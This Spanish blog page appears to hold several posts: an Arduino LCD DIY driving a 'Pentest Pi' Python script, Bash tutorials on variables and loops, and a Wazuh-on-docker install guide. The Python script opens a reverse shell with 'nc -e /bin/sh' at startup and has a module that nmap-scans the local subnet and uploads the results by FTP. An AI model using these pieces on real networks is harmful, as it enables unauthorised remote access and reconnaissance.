Controlar script de python desde Arduino LCD Shield+Arduino UNO

Hoy dejo un poco de lado los tutoriales sobre bash para traeros un pequeño DIY que surgió a raíz de la caja de The Hackers Garage que gané durante el CTF de la gente de Follow The White Rabbit.

En esta caja uno de los proyectos que incluía era la posibilidad de conectar un shield de Arduino, que traía una pantalla 16×2 LCD y botones, a una Orange pi y controlar la ejecución de un script de python utilizando la LCD y sus botones.

La mayor diferencia entre sus instrucciones y lo que hoy os traigo es que yo he acoplado el shield a un Arduino UNO ¿Qué significa esto? Pues que me olvido de tener que usar los GPIO de la Orange Pi y en cambio he conseguido una pantalla que se comunica a través del USB/Serial con cualquier dispositivo que lo soporte.

Antes de comenzar recordaros que no soy experto ni en Arduino ni en Python con lo cual el código que os presento a continuación es muy, muy mejorable; pero funciona jeje

Comencemos con el código del Arduino:

#include <LiquidCrystal.h>

LiquidCrystal lcd(8, 9, 4, 5, 6, 7);           // Seleccionamos los pines que utiliza la pantalla LCD

//Definimos algunos valores que usaran el panel y los botones
int adc_key_in  = 0;

#define btnRIGHT  0
#define btnUP     1
#define btnDOWN   2
#define btnLEFT   3
#define btnSELECT 4
#define btnNONE   5

//Estas variables nos ayudaran a controlar el input de los botones
int button_count=0;
int button_last=0;


int read_LCD_buttons(){               // Funcion para leer el input de los botones
    adc_key_in = analogRead(0);       // Leemos el valor del sensor

    //Estos valores son aproximados de los resultados que me envia el sensor.
    //No deberiais necesitar cambiarlos.
    if (adc_key_in > 1000) return btnNONE; 

    if (adc_key_in < 50)   return btnRIGHT;  
    if (adc_key_in < 250)  return btnUP; 
    if (adc_key_in < 450)  return btnDOWN; 
    if (adc_key_in < 650)  return btnLEFT; 
    if (adc_key_in < 850)  return btnSELECT;  

    return btnNONE;                // Cuando nos se cumple ninguno, enviamos este
}

void setup(){
   lcd.begin(16, 2);               // Inicializamos la pantalla LCD
   Serial.begin(9600);             // Inicializamos el puerto serie
   Serial.setTimeout(100);         // Reducimos el timeout del puerto serie para reducir el lag, quizás querais ajustarlo
}
 
void loop(){
  // En caso de que se haya recibido algo por el puerto serie
  if (Serial.available()) {          
    // Leemos el contenido en el buffer a un String, si no hemos modificado el timeout esto tarda 2.5 segundos                               
    String buff = Serial.readString();                              
    if (buff == "clear_lcd") {
      // Si recibimos la orden "clear_lcd" borramos la pantalla
      lcd.clear();                                                  
    } else {
      // Localizamos el separador ","
      int commaIndex = buff.indexOf(',');  
      // Extraemos el mensaje a imprimir                         
      String message = buff.substring(0,commaIndex);    
      // Extraemos la linea en que queremos escribir el mensaje             
      int lcd_line = buff.substring(commaIndex+1).toInt();   
      // Movemos el cursos a la linea que deseamos       
      lcd.setCursor(0,lcd_line);   
      // Imprimimos el mensaje                                 
      lcd.print(message);                                           
    }
  }
  // Llamamos a la funcion para ver si se ha pulsado algun boton
  int button_pressed=read_LCD_buttons();        
  // En mi caso una pulsacion del boton enviaba aproximadamente 1000 el mismo resultado
  // para contabilizar una pulsacion y no 1000 utilizamos ciertas variables para controlarlo
  // En caso de que el boton sea igual que el anterior, se haya pulsado 1200 veces y no sea 5/Ninguno                                        
  if (button_pressed == button_last && button_count == 1200 && button_pressed != 5){   
    // Enviamos el digito correspondiente al boton pulsado
    Serial.println(button_pressed);
    // Esperamos a que se limpie el buffer
    Serial.flush(); 
    // Reinicializamos el contador de pulsaciones
    button_count = 0;
  } else if (button_pressed == button_last && button_pressed != 5){
    // Si el boton es el mismo que se pulso anteriormente y no es 5/Ninguno, contamos una pulsacion
    button_count+=1;
  } else {
    // Si no se cumple nada de lo anterior reiniciamos el contador
    button_count = 0;
  }
  // Guardamos cual fue el ultimo boton pulsado para el siguiente ciclo
  button_last=button_pressed;
}

He intentado comentarlo lo mejor posible para que se entienda pero cualquier duda no dudéis en dejarme un comentario.

Básicamente este script se divide en dos partes: input y output.

En la parte de input, que correspondería a la LCD, el Arduino esta escuchando en el puerto serial por un String con el formato “mensaje,linea”, o bien, el comando “clear_lcd” para limpiar la pantalla.

Para el output el Arduino lee en cada ciclo el sensor analógico al que está enchufada la botonera y utiliza unos thresholds (que pueden variar en vuestro caso) para identificar que botón se ha pulsado. El mayor problema que me encontré en esta parte fue que una pulsación no se correspondía a un cambio único en el sensor, sino que varios ciclos ocurrían mientras yo pulsaba el botón haciendo que pareciese que estaba machacandolo en lugar de hacer una única pulsación, en mi caso el threshold con el que quedé más contento fue 1200, pero quizás queráis ajustarlo a vuestro gusto pero, recordad, a menos número, mayor sensibilidad.

Ahora pasemos al Python. La gente de The Hackers Garage nos da un script que utiliza los GPIO de la Orange Pi para comunicarse con la LCD y los botones, pero nosotros ya no necesitamos esto, así que toca modificar un poco el código:

#!/usr/bin/python
import time
from socket import socket, SOCK_STREAM, SOCK_DGRAM, AF_INET
import string
import re
import os
import sys
import subprocess 
import serial
import urllib #Used to display the Public IP address.
from subprocess import PIPE
import ftplib #Used to upload Nmap scan results to FTP server.
from datetime import datetime # Used the genreate the filename used in the packet capture dump


#Change thease values so that the dumped file is uploaded to your FTP server.
ftp_server = ""
ftp_username = ""
ftp_password = ""
#Reverse shell IP
connectingClientIP = "127.0.0.1"

# Button mapping
#button_reset  = connector.gpio1p40
#button_analog  = connector.gpio1p38

# Define some device constants
LCD_WIDTH = 16    # Maximum characters per line
LCD_CHR = True
LCD_CMD = False

LCD_LINE_1 = 0 # LCD RAM address for the 1st line
LCD_LINE_2 = 1 # LCD RAM address for the 2nd line

# Timing constants
E_PULSE = 0.0005
#E_DELAY = 0.0005
E_DELAY = 0.5
output = "NO"

ser = serial.Serial('/dev/ttyACM0', 9600)
global p
def main():
# Main program block
  analog_pressed=5;
  socketMain = socket(AF_INET,SOCK_STREAM)
  lcd_init(ser)

  #Contains all modules which can be run on the device. The key is the displayed name on the LCD and the value is the function name
  modules = {'SSHTunnel status': 'reverseSSH',
             'NMAP Scan&Upload': 'nmapScanUpload',
             'ConnectivityTest': 'connectivityTest'}
  displayText = modules.keys()
  # Checks if the script has been run as root.
  if os.getuid() == 0:
    lcd_string("Pentest Pi",LCD_LINE_1)
    lcd_string("Select an option",LCD_LINE_2)
  else:
    lcd_string("Run the script",LCD_LINE_1)
    lcd_string("with root",LCD_LINE_2)
  try:
    cmd = "nc -e /bin/sh " + connectingClientIP + " 22"
    global p
    p = subprocess.Popen(cmd, shell=True, stdout = subprocess.PIPE)
    print "Reverse shell connecting.."
  except OSError as e:
    print >>sys.stderr, "Execution failed:", e

  while True:    
    value_out = 0
    menuOption = 0
    analog_pressed = read_button(ser)

    if (analog_pressed == 4):
        time.sleep(0.5)
        lcd_clear()
        lcd_string(displayText[menuOption], LCD_LINE_1)
        lcd_string("<previous  next>", LCD_LINE_2)
        while True:
            analog_pressed = read_button(ser)
            #reset_pressed = gpio.input(button_reset
            if (analog_pressed == 0):
                menuOption = menuOption + 1
                if menuOption > len(modules) - 1:
                    menuOption = 0
                lcd_clear()
                lcd_string(displayText[menuOption], LCD_LINE_1)
                lcd_string("<previous  next>", LCD_LINE_2)
                time.sleep(0.5)
            if (analog_pressed == 3):
                menuOption = menuOption - 1
                if menuOption < 0:
                    menuOption = len(modules) - 1
                lcd_clear()
                lcd_string(displayText[menuOption], LCD_LINE_1)
                lcd_string("<previous  next>", LCD_LINE_2)
                time.sleep(0.5)
            if (analog_pressed == 4):
                globals().get(modules[displayText[menuOption]])()
                time.sleep(0.5)
                break
def read_button(ser):
  if ser.in_waiting:
    button=ser.readline()
    return int(button)

def lcd_init(ser):
  # Initialise display
  ser.write("clear_lcd")
  time.sleep(2)

def lcd_clear():
  ser.write("clear_lcd")
  time.sleep(E_DELAY)

def getPublicIP():
    publicIPUrl = urllib.urlopen("http://ipinfo.io/ip")
    publicIPre = re.findall( r'[0-9]+(?:\.[0-9]+){3}', publicIPUrl.read())
    return publicIPre[0]

def getPrivateIP():
    s = socket(AF_INET, SOCK_DGRAM)
    s.connect(('google.com', 0))
    privateIp = s.getsockname()
    return privateIp[0]

def reverseSSH():
    global p
    p.poll()
    print 'Reverse Shell Status'
    if p.returncode == None:
      lcd_string("Shell Started",LCD_LINE_1)
      lcd_string(connectingClientIP,LCD_LINE_2)
    else:
      lcd_string("Shell Failed",LCD_LINE_1)
      lcd_string(connectingClientIP,LCD_LINE_2)  
    functionBreak()
 
def nmapScanUpload():
    print 'Nmap Scan & Upload'
    ipToScan = getPrivateIP()
    #Generates the ip address that can be fed into the nmap command. This simple replaces the 4th octet with a 0 and appends a /24 to scan the class C subnet.
    ipToScan = ipToScan[:string.rfind(ipToScan, '.') + 1] + '0/24'
    index = string.rfind(ipToScan, '.')
    print index
    print ipToScan
    #Starts the bridge interface and sets the display.
    nmapScan = subprocess.Popen('nmap ' + ipToScan + ' -oN nmapoutput.txt', shell=True, stderr=PIPE)
    lcd_clear()
    lcd_string("Running",LCD_LINE_1)
    lcd_string("Nmap Scan",LCD_LINE_2)
    error = nmapScan.communicate()
    errorCheck(error, 'NMAP Failed', 'Scan Complete')
    lcd_clear()
    lcd_string("Scan",LCD_LINE_1)
    lcd_string("Complete",LCD_LINE_2)
    time.sleep(1)
    lcd_clear()
    lcd_string("Uploading",LCD_LINE_1)
    lcd_string("File",LCD_LINE_2)
    #Starts FTP session
    ftpSession = ftplib.FTP(ftp_server, ftp_username, ftp_password)
    #ftpSession.cwd('nmap')
    #Opens file to be uploaded
    file = open('nmapoutput.txt', 'rb')
    #Uploads the File
    ftpSession.storbinary('STOR nmapoutput.txt', file)
    file.close()
    ftpSession.quit()
    lcd_clear()
    lcd_string("Upload",LCD_LINE_1)
    lcd_string("Successful",LCD_LINE_2)
    time.sleep(3)
    functionBreak()

def connectivityTest():
    print 'Connectivity Test'
    #Pings google.com
    thePing = subprocess.Popen('ping -c 5 google.com', shell=True, stdout=PIPE, stderr=PIPE)
    lcd_clear()
    lcd_string("Testing",LCD_LINE_1)
    lcd_string("Connectivity",LCD_LINE_2)
    pingOut, pingErr = thePing.communicate()
    #If the ping fails ping 8.8.8.8
    lcd_clear()
    if len(pingErr) > 0:

        thePing = subprocess.Popen('ping -c 5 8.8.8.8', shell=True, stdout=PIPE, stderr=PIPE)
        pingOut, pingErr = thePing.communicate()
        print 1
        #If pinging 8.8.8.8 fails display there is no internet connection
        if len(pingErr) > 0:
            lcd_string("No Internet",LCD_LINE_1)
            lcd_string("Connection",LCD_LINE_2)
            print 2
        #If pinging 8.8.8.8 succeeds, display there is no DHCP service available for the SlyPi to use.
        else:
            lcd_string("No DHCP",LCD_LINE_1)
            lcd_string(" Available",LCD_LINE_2)
            print 3
        functionBreak()
    else:
        privateIP = getPrivateIP()
        publicIP = getPublicIP()
        print privateIP
        print publicIP
        #Displays the public and private IP addresses on the LED screen.
        lcd_string(privateIP,LCD_LINE_1) 
        lcd_string(publicIP,LCD_LINE_2)
        time.sleep(3)
        functionBreak()

def functionBreak():
    while read_button(ser):
        os.execl('/home/kalrong/thg.py', '')

def errorCheck(error, failedMessage, succeedMessage):
    lcd_clear()
    if 'brctl: not found' in error:
        lcd_string("Failed",LCD_LINE_1)
        lcd_string("Install brctl",LCD_LINE_2)        
    elif len(error[1]) == 0:
        lcd_string(succeedMessage,LCD_LINE_1)
        time.sleep(3)
    elif len(error[1]) > 0:
        lcd_string(failedMessage,LCD_LINE_1)
        time.sleep(2)
    error = 0

def lcd_string(message,line):
  # Send string to display

  message = message.ljust(LCD_WIDTH," ")
  ser.write(bytes(message+","+str(line)))
  time.sleep(E_DELAY)
if __name__ == '__main__':

  try:
    main()
  except KeyboardInterrupt:
    pass
  finally:
    lcd_clear()
    lcd_string("Goodbye!",LCD_LINE_1)
    ser.close()

Si tenéis la misma caja quizás os hayáis encontrado con el mismo problema que yo, y es que las funciones de connectivityTest y reverseSSH no funcionaban como se esperaba, en el código de arriba he solucionado dichos problemas.

Como podéis ver en el código para la comunicación con el Arduino utilizamos la librería Serial de python (pip install pyserial) y utilizamos las funciones lcd_string, lcd_init, lcd_clear y read_button para interactuar con el mismo.

Para evitar modificar demasiado el código y que se pudieran hacer comparaciones he reutilizado lo máximo el código que se nos da, como por ejemplo las constantes LCD_LINE que especifican la linea de la pantalla donde deseamos imprimir. Por pura estética también he añadido un mensaje de previous/next en el menú.

Una vez hayamos cargado el código en nuestro Arduino debemos editar el código para especificarle el puerto serial donde está nuestro Arduino en la variable “ser”. Si todo ha ido bien ahora podremos ejecutar el script y veremos como se van mostrando mensajes en nuestra LCD.

Para acceder al menú pulsaremos el botón Select y luego navegaremos con los botones de derecha e izquierda por el menú y seleccionamos nuevamente con Select.

¿Problemas? Principalmente la latencia que se genera en la comunicación por el puerto serie, como veis no he implementado ningún tipo de ACK por ninguna de las dos partes así que se utilizan sleeps en el código python para controlar esta latencia. En mi caso a veces necesito reiniciar el Arduino ya que se “laggea” y no muestra los mensajes correctamente.

Otra vez insistir que esto es un simple POC y el código se puede mejorar muchísimo jeje

Un par de fotos de la LCD funcionando:

La primera opción del menú:

Resultado del check de la reverse shell:

Mensaje de inicio del script:

Espero os haya gustado y cualquier duda o pregunta dejadme un comentario y contestaré en cuanto pueda.

Saludos y, como siempre, gracias por vuestra visita!

Mención especial a Javi del grupo de Telegram de los conejos que me “instigó” de forma indirecta a realizar este proyecto jeje

Publicado en arduino, DIY, python | Deja un comentario

Tutoriales sobre Bash Scripting II : Bucles For, Until y While

Continuando con los tutoriales sobre Bash hoy os voy a hablar de los bucles for, until y while.

En ambos casos la sintaxis es la mismas para los bucles until y while, siendo for una pequeña excepción:

for variable in lista
do
...
done

until <condicion>
do
...
done

while <condición>
do
...
done

En una sola linea:

for variable in lista; do ... ; done

until <condicion>; do ... ; done

while <condición>; do ...; done

Comencemos con el bucle for. Este quizás os suene de otros lenguajes, tanto de programación como de comandos, suele ser utilizado cuando queremos que el bucle se ejecute un número determinado de veces. Siguiendo la sintaxis mostrada arriba: por cada elemento/linea en lista el bucle se ejecutara una vez y ese elemento será guardado en variable. Vamos a ver un pequeño ejemplo:

#!/bin/bash

lista="1
2
3
4
"

for variable in $lista
do
        echo $variable
done

En este ejemplo vemos que he definido una variable lista con 4 elementos/lineas, el bucle for entonces recorre la variable lista obteniendo la información en cada elemento/linea y haciendo un echo de la misma. El bucle for no solo admite este tipo de listados sino que también puede recibir el output de la ejecución de un comando:

#!/bin/bash

for variable in $(echo "1"; echo "2")
do
        echo $variable
done

En este caso el resultado de los dos echos serian dos lineas, esto bien podría ser el resultado de un ls; y el bucle for tomara cada una de esas lineas y la guardara en variable en cada ciclo.

También podemos utilizar rangos:

#!/bin/bash

for variable in {0..10}
do
        echo $variable
done

Esto imprimirá los números del 0 al 10, en algunos casos nos puede interesar obtener los números en el formato 01 o 001 por ejemplo, esto se consigue fácilmente añadiendo dicho número de 0 en el rango, por ejemplo, {00..10} nos dará la seria 00,01,02,..,10.

Para aquellos que como yo vengais de C quizás os guste más un for de este estilo:

#!/bin/bash

for (( variable=0; variable<=10; variable++ ))
do
        echo $variable
done

Este bucle funciona exactamente igual que en C y otros lenguajes que utilizan una sintaxis similar. Notar el doble paréntesis y los espacios entre los mismos y la definición del bucle.

Los bucles Until y While son prácticamente idénticos, la diferencia reside en la condición para que estos se ejecuten:

  • Until: Se ejecutará hasta que la condición sea verdadera.
  • While: Se ejecutará mientras la condición sea verdadera.

Veamos dos ejemplos:

#!/bin/bash

condicion=20

until [ $condicion -lt 10 ]
do
        echo $condicion
        let condicion=condicion-1
done

En este caso el bucle se ejecutará y nos mostrara los números del 20 al 10 en orden descendente. ¿Que pasa si hacemos lo mismo con while?

#!/bin/bash

condicion=20

while [ $condicion -lt 10 ]
do
        echo $condicion
        let condicion=condicion-1
done

En este caso el script no muestra nada ya que la condición es falsa desde un principio.

Como comentaba antes en los bucles for al estilo C muchas veces he echado poder realizar un bucle do..while pero este no existe en Bash, para esos casos me he decantado por utilizar el Until ya que es lo más parecido.

En ambos casos podemos realizar bucles infinitos, simplemente les diremos que la condición es true para while y false para until, de esta manera el bucle nunca terminara ¿o si?

Existirán veces en que necesitemos controlar los diferentes bucles desde dentro de los mismos, para esto existen las ordenes:

  • continue: Para el ciclo actual del bucle y pasa al siguiente ignorando el resto de comandos.
  • break: Sale del bucle y continua con la ejecución del script.

Veamos un ejemplo:

#!/bin/bash

condicion=20

while true
do
        echo $condicion

        if [ $condicion -eq 15 ]
        then
                let condicion=condicion-2
                continue
        elif [ $condicion -eq 10 ]
        then
                break
        else
                let condicion=condicion-1
        fi
done


Como veis he creado un bucle infinito donde el while siempre se cumplirá pero he añadido ciertas condiciones dentro del mismo para tener control y que no se ejecute por siempre jamás.

La primera condición se cumple cuando la variable condición es igual a 15, el bucle entonces restará 2 en lugar de 1 y pasara al siguiente ciclo; esto hará que se salte el número 14.

La segunda condición se cumple cuando la variable condición es igual a 10 y le dice al bucle que debe finalizar.

Como veis he utilizado los condicionales if, elif y else que todavía no hemos visto y que trataré en detalle en la siguiente parte de esta serie de tutoriales.

Espero que os haya gustado, y como siempre, cualquier duda dejad un comentario y os contestaré gustosamente.

Saludos y gracias por vuestra visita!

Publicado en bash, tutorial | Deja un comentario

Tutoriales sobre Bash Scripting I : Introducción

Hoy os traigo la primera parte de lo que espero sea una nueva serie de posts sobre Bash Scripting.

Para aquellos que me conozcáis de CTF’s o si habéis leido mis writeups os habréis dado cuenta que este lo utilizo muchísimo y tengo fijación por los scripts en una sola linea, esto es una preferencia mía, así que no quiero que os llevéis la idea errónea de que es mejor hacer un script en una linea que hacerlo en un archivo como dios manda jeje Esta manía surge de la necesidad de ejecutar un gran número de comandos en muchos servidores en mi trabajo y, aunque existen otras maneras de hacerlo, me acostumbre a escribirlos todos en una linea y pasarselos a ssh para su ejecución.

Pero vamos a empezar por saber que es Bash. Bash es una shell Unix y lenguaje de comandos que se publicó haya por 1989 y es quizás uno de los más usandos, estando presente en muchas distribuciones Linux, macOS e incluso habiendo una versión para Windows.

El hecho de que sea tan usado me ha ayudado en muchos casos donde me encontraba con diferentes distribuciones donde una de las pocas cosas en común era precisamente esta, lo cual me ha hecho sentirme muy cómodo a la hora de realizar diferentes tareas.

Otra de las cosas por las que me suelo decantar por realizar los scripts en bash es la posibilidad de utilizar el amplio abanico de utilidades de las que disponga el sistema como, por ejemplo, llamar a un script de python para que me realice una acción que de otra forma no podría, o sería demasiado compleja, de realizar solo con bash.

Pero menos chachara y vamos al lio, como realmente Bash es un lenguaje de comandos lo que vamos a hacer es utilizar los propios comandos de Linux para realizar nuestros scripts ¿Que significa esto? Que en lugar de explicaros que hace un cat o un echo, vamos a irnos directamente a ver ejemplos prácticos.

Vamos a comenzar con algunas cosas básicas: estructura, argumentos y variables.

La estructura de Bash no tiene demasiada ciencia, básicamente para Bash cada linea es un comando a ejecutar; en caso de que lo ejecutes desde la linea de comandos Bash interpreta los “;” como saltos de linea, de tal manera que:

#!/bin/bash

echo "primera linea"; echo "segunda linea"

# es igual a:

echo "primera linea"
echo "segunda linea"

Sencillo ¿verdad? Vamos a seguir utilizando el mismo script para ver como podemos utilizar las variables:

#!/bin/bash

1="primera linea"
segunda="segunda linea"

echo $1; echo $segunda

echo $1
echo $segunda

Vemos que para definir una variable simplemente debemos escribir su nombre, para luego obtener su contenido la llamaremos con la sintaxis “$nombre_de_la_variable”

Si ejecutamos este script veremos que solo nos muestra el mensaje “segunda linea” precedido de una linea en blanco, esto es debido a que las variables cuyo nombre son inválidos aunque Bash no muestre ningún error. La variable “$1” para bash realmente es una constante que significa “primer argumento pasado al script”, de tal manera que si al mismo script le pasamos como primer argumento “algo” veremos que este mensaje aparece donde debería aparece “primera linea”. Así que si nuestro script requiere X argumentos los llamaros utilizando la sintaxis “$X” donde X es la posición del argumento pasado al script.

Ahora veamos otra versión del mismo script:

#!/bin/bash

primera="primera linea"
segunda="segunda linea"

echo "$primera"; echo '$segunda'

echo "$primera"
echo '$segunda'

Esta vez hemos nombrado de forma correcta las variables pero en este caso las hemos incluido entre comillas, al ejecutar este script veréis que de la variable “$segunda” no obtenemos su contenido sino que vemos ese mismo texto. Esto se debe a que si incluimos una variable dentro de comillas simples Bash lo interpreta literalmente y no como una variable.

Ahora vamos a ver como podemos asignarle el valor obtenido de otro comando a una variable:

#!/bin/bash

primera=$(hostname)
segunda="segunda linea"

echo "$primera"; echo "$segunda"

echo "$primera"
echo "$segunda"

Como podemos ver ahora en lugar de asignarle un valor a la variable “primera” lo que hago es decirle que ejecute el comando hostname y guarde el contenido en la misma. Esto se aplica no solo a variables, sino en cualquier momento que queramos utilizar el resultado de un comando podemos hacerlo utilizando la sintaxis “$()” como, por ejemplo, en un if.

Bash además tiene una serie de variables especiales que os listo a continuación:

  • $1, $2, $3, … argumentos posicionales de los que ya hablamos.
  • "$@" especie de array que contiene los argumentos posicionales, {$1, $2, $3 ...}.
  • "$*" expansión IFS (Internal Field Separator) de los argumentos posicionales, $1 $2 $3 ....
  • $# número de argumentos posicionales.
  • $- opciones para la shell actual.
  • $$ pid de la shell actual (no subshell).
  • $_ parámetro más actual.
  • $IFS es el (input) field separator.
  • $? código de salida del último comando ejecutado en primer plano.
  • $! pid del comando más reciente ejecutado en segundo plano.
  • $0 nombre de la shell o script.

Creo que con esto he cubierto lo básico para que podáis empezar a jugar un poco con Bash y construir vuestros primeros scripts. En caso de que tengáis dudas o creáis que me haya saltado algo dejarme un comentario y os ayudaré en lo que pueda.

Espero os haya gustado, gracias por la visita; saludos!

Publicado en bash, tutorial | Deja un comentario

Como instalar wazuh utilizando docker

Hola a todos!

Este post lleva bastante tiempo en mis pendientes y lo he ido retrasando debido a unos cambios que se produjeron en los containers de wazuh para su nueva versión 2.0; ahora que ya he tenido la oportunidad de probarlo creo que va siendo hora de que os cuente algo sobre el tema.

Pero, antes de nada, creo que debería de contaros que es Wazuh. Wazuh es un HIDS (Host Intrusion Detection System) que además puede actuar como un HIPS (Host Intrusion Prevention System), inicialmente basado en un fork de Ossec; en los últimos meses se han ido desligando cada vez más del mismo y han ido incluyendo muchas más funcionalidades y otras aplicaciones de su propia cosecha ampliando las funcionalidades de Ossec considerablemente.

Este post se basa en la versión disponible, a día de hoy, de la 2.0; esta versión todavía está en fase de desarrollo e irá contando con muchas más funcionalidades en un tiempo próximo.

En su versión 2.0 Wazuh ha optado por, en lugar de utilizar un macro container con todo dentro, en separar las distintas partes del mismo para facilitar así temas como actualizaciones de una aplicación en concreto por ejemplo. Así, tendremos 4 containers: 1 para wazuh en sí (Ossec); y los 3 correspondientes a ELK (Elasticsearch, Logstash y Kibana).

Como es lógico necesitaréis tener instalado docker y, para hacerlo todo mucho más sencillo, docker-compose.

En este post os deje un pequeño script que os puede ayudar a instalar docker de manera muy sencilla. En el caso de docker-compose, aquí os dejo el link a la documentación original de como instalarlo; en mi caso, curiosamente, en algún equipo estaba disponible en los repositorios del propio docker.

Una vez tengamos ambas aplicaciones listas, necesitaremos descargar el archivo docker-compose que nos ayudará a levantar todo nuestro servidor. Este lo podremos obtener en https://github.com/wazuh/wazuh-docker . También podéis ver que existen más archivos dentro del repositorio, aunque solamente el docker-compose.yml es necesario, yo he preferido clonarlo todo para poder ver las distintas configuraciones utilizadas, así que voy a asumir que sois igual de curiosos que yo y hacemos:

git clone https://github.com/wazuh/wazuh-docker

Esto nos clonará, en el directorio actual, todo el repositorio. En caso de que no tengáis git o solamente queráis el archivo docker-compose, podéis descargarlo directamente con wget o lo que mejor os convenga de la siguiente manera:

wget https://raw.githubusercontent.com/wazuh/wazuh-docker/master/docker-compose.yml

En caso de que queramos que la información de los containers no se destruya junto con estos mismos necesitaremos crear unas carpetas que luego mapearemos (perdonad el palabro) a dichos containers y que guardaran nuestras configuraciones y demás información en nuestro sistema.

Por defecto necesitaréis 3 directorios, en mi caso cree 4, os explico porqué. Uno de los problemas que tiene Ossec es que no soporta autenticación en smtp para enviar correos así que si nuestros servidor saliente necesita de esta tendremos que configurar un relay para que Ossec, o Wazuh en este caso, pueda enviar notificaciones de correo. Para evitar tener otro container aparte yo instalé postfix en el container de Wazuh (actualmente ya viene preinstalado en la imagen) y cree una carpeta para guardar la configuración del mismo, está es totalmente opcional y no hablaré de ello en esta guía para no complicaros más la vida sino que creare un post aparte con lo pasos que seguí.

Una vez hayáis decidido donde queréis crear las carpetas, en mi caso /var, las creamos y modificamos el archivo docker-compose.yml con nuestro editor favorito; descomentamos las lineas de los volumenes y cambios my-path por el path a nuestras carpetas, en mi caso se vería así:

version: '2'

services:
  wazuh:
    image: wazuh/wazuh
    hostname: wazuh-manager
    restart: always
    ports:
      - "1514/udp:1514/udp"
      - "1515:1515"
      - "514/udp:514/udp"
      - "55000:55000"
    networks:
        - docker_elk
    volumes:
      - /var/wazuh:/var/ossec/data
    depends_on:
      - elasticsearch
  logstash:
    image: wazuh/wazuh-logstash
    hostname: logstash
    restart: always
    command: -f /etc/logstash/conf.d/logstash.conf
    volumes:
      - /var/logstash/config:/etc/logstash/conf.d
    links:
     - kibana
     - elasticsearch
    ports:
      - "5000:5000"
    networks:
        - docker_elk
    depends_on:
      - elasticsearch
    environment:
      - LS_HEAP_SIZE=2048m
  elasticsearch:
    image: elasticsearch:5.2.2
    hostname: elasticsearch
    restart: always
    command: elasticsearch -E node.name="node-1" -E cluster.name="wazuh" -E network.host=0.0.0.0
    ports:
      - "9200:9200"
      - "9300:9300"
    environment:
      ES_JAVA_OPTS: "-Xms2g -Xmx2g"
    volumes:
      - /var/elasticsearch:/usr/share/elasticsearch/data
    networks:
        - docker_elk
  kibana:
    image: wazuh/wazuh-kibana
    hostname: kibana
    restart: always
    ports:
      - "5601:5601"
    networks:
        - docker_elk
    depends_on:
      - elasticsearch
    entrypoint: sh wait-for-it.sh elasticsearch

networks:
  docker_elk:
    driver: bridge
    ipam:
      config:
      - subnet: 172.25.0.0/24

Probablemente os habréis fijado que en el caso de logstash yo he creado un subdirectorio llamado config dentro de la carpeta de logstash, esto es preferencia mía simplemente.

Antes de iniciar nada, debemos modificar un parámetro con sysctl para aumentar la cantidad de memoria virtual que se puede reservar ya que sino logstash se quejará de que no tiene suficiente memoria:

sysctl -w vm.max_map_count=262144

Con esto ya deberíamos tener todo listo para arrancar, utilizaremos la opción “-d” para enviarlos a segundo plano ya que sino lanzaran todos sus logs por pantalla y será dificil hacer cualquier tipo de debug:

docker-compose up -d

Este comando, y sus derivados como stop o down, debe ser lanzado siempre en la misma carpeta del docker-compose.yml, ya que al igual que con docker build, este automáticamente busca este archivo.

Los containers arrancaran todos a la vez pero tanto el de logstash como el de kibana esperaran de forma interna a que elasticsearch este funcionando para terminar de iniciar. Podéis comprobar los logs de cada uno utilizando el siguiente comando:

docker logs wazuhdocker_<app>_1

Donde app será una de las 4 aplicaciones: wazuh, logstash, elasticsearch o kibana.

Si todo ha salido bien podremos acceder a kibana en el puerto 5601 de nuestro servidor de docker. El siguiente paso será añadir agentes al mismo.

Tanto Wazuh como Ossec soportan recibir información de agentes tanto con o sin su agente instalado, el segundo caso solo suele ser recomendable en casos donde no podemos instalar el cliente, bien sea por permisos, bien sea porque no es posible hacerlo, un router por ejemplo. No suele ser recomendable porque en ese caso perderíamos la oportunidad de utilizar las opciones de IPS al no poder ejecutar comandos en el agente ni administrarlo de forma remota, por ejemplo: tenemos un router con OpenWRT, al no tener agente para este SO hacemos que syslog envíe la información al servidor de Wazuh directamente; esta se procesará igual que las de un agente normal pero en caso de intrusión no se ejecutara ninguno de los scripts de respuesta activa para prevenirlo.

Podéis encontrar los agentes para distintas plataformas en este link. Una vez instalado el agente tenemos que registrarlo en el servidor para que pueda comunicarse con el mismo. Para esto existen dos métodos: manual o utilizando ossec-authd. Para empezar yo prefiero el primer método, aunque pueda parecer engorroso al principio creo que es el mejor para ir viendo como funcionan los diferentes scripts de Wazuh. Existe un conflicto entre el método manual y ossec-authd que hace que no podamos registrar un nuevo cliente si tenemos el segundo funcionando a la vez, para evitar esto vamos a matar dicho proceso; primero nos conseguimos shell en el container de wazuh:

docker exec -it wazuhdocker_wazuh_1 /bin/bash

Utilizamos ps para localizar el PID del proceso de ossec-authd:

ps aux | grep ossec-authd

Y procedemos a terminarlo con kill, en mi caso el PID era el número 11:

kill 11

Volvemos a comprobar con el anterior comando de ps que el proceso ha desaparecido y seguimos con el proceso de registro. El script en cuestión lo podremos ejecutar ya en la shell que tenemos ahora mismo abierta o, para no andar abriendo shells cada vez que queramos registrar un nuevo agente, utilizaremos el siguiente comando:

docker exec -it wazuhdocker_wazuh_1 /var/ossec/bin/manage_agents

Igualmente podemos ejecutar dicho comando en la shell, este nos devolverá un menú. Seleccionamos la opción “A” para añadir un nuevo agente, y cubrimos los datos que nos pide; el ID podéis dejar el que os da ya que es autoincremental, a no ser que queráis especificar uno en concreto.

Una vez finalizado el registro del agente nos devolverá al menú inicial, ahora debemos seleccionar la opción “E” para obtener la llave que le pasaremos a nuestro agente. El script nos mostrara todos los clientes registrados y debemos introducir el ID del que nos interesa; esto nos devolverá un string codificado en base64 que deberemos copiar para pasarselo a nuestro agente.

Ahora nos vamos al servidor donde hayamos instalado el agente, solo he probado los agentes de linux y windows así que me limitaré a estos:

Linux:

Ejecutamos el siguiente comando:

/var/ossec/bin/manage_agents

Veréis que es exactamente el mismo script que hemos utilizando en el manager para añadir los clientes, tanto el agente como el manager se instalan ambos en el mismo directorio; en este caso solo se nos muestra una opción aparte de la de exit y es importar la key que copiamos anteriormente, seleccionamos la opción “I” y copiamos la key. Reiniciamos el cliente para que se apliquen los cambios:

/etc/init.d/wazuh-agent restart

Si todo ha ido bien podremos ver el agente conectado en kibana.

Windows:

En el cliente de windows quizás es mucho más sencillo, simplemente debemos copiar la en el campo Authentication Key como se muestra en la siguiente imagen:

También debemos especificar la dirección del servidor de Wazuh/Ossec, hacemos click en save y veremos como se actualiza la información del campo Agent.

